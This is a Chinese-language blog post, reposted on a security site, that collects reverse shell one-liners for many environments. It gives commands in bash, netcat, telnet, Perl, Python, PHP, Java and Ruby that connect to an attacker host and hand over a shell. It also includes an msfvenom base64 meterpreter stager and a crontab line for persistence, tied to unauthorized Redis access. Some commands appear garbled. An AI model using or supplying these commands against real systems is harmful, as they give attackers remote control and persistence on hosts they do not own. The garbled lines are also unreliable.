各种环境下反弹 shell 的方法

颓废 2019年5月19日09:46:47评论486 views字数 2636阅读8分47秒阅读模式
摘要

注意这个是由解析shell的bash完成,所以某些情况下不支持。我用zsh不能反弹。这个也是最常用的。


0x01 bash版本:

bash -i >& /dev/tcp/attackerip/1234 0>&1 

注意这个是由解析shell的bash完成,所以某些情况下不支持。我用zsh不能反弹。这个也是最常用的。

0x02 nc版本:

支持-e选项

nc -e /bin/sh attackerip 1234 

这个方式最简单
不能使用-e选项时:

mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe /bin/sh | nc attackerip 4444 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/ 

安装的NC版本有问题时:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip 1234 >/tmp/f 

0x03 Telnet版本:(nc不可用或/dev/tcp不可用时)

mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe 

0x04 Perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 

不依赖于/bin/sh的shell: ***这条语句比上面的更为简短,而且确实不需要依赖/bin/sh

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 

0x05 Python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

另外的形式:

python -c "exec(/"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))/nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())/")" 

另外Metasploit版的代码:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234 import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg==')) 

0x06 php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 

0x07 java版本:

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do /$line 2>&5 >&5; done"] as String[]) p.waitFor() 

0x08 ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 

不依赖于/bin/sh的shell:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r") (io|c.print io.read) end' 

如果目标系统运行Windows:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r") (io|c.print io.read) end' 

0x09 crontab定时任务:

这也是在redis未授权访问的时候使用过的。
crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是/var/spool/cron/目录,ubuntu是/var/spool/cron/crontabs。文件名为用户名root等。下面命令含义是每一分钟执行一次反弹shell命令。具体crontab用法可以参考Crontab定时任务配置

* * * * * /bin/bash -i >& /dev/tcp/attackerip/1234 0>&1 

最后其实发现,虽然形式不同,但是其实都是基于/bin/bash和/bin/sh

作者:ZeroKeeper

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日09:46:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   各种环境下反弹 shell 的方法http://cn-sec.com/archives/68317.html

发表评论

匿名网友 填写信息